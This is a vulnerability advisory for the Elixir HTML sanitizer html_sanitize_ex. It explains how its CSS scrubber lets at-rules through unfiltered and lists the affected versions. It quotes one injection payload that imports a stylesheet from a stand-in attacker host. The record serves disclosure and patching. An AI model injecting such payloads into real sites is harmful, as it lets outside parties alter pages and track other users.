Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Affected products
Version statuses are supplied by the assigning organization. Consult the original record for detailed ranges and platform conditions.
rrrene html_sanitize_ex
Default version status: unaffected
0.3.1 to < 1.4.5affected1.5.0-rc.0 to < 1.5.4affected
pkg:hex/html_sanitize_exrrrene html_sanitize_ex
Default version status: unaffected
21f90012eb21aa36f4e3701b7547e12faf0f3c8b to < *affected
pkg:github/rrrene/html_sanitize_exReferences
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7 ↗
- https://cna.erlef.org/cves/CVE-2026-68747.html ↗
- https://osv.dev/vulnerability/EEF-CVE-2026-68747 ↗
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308 ↗
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28 ↗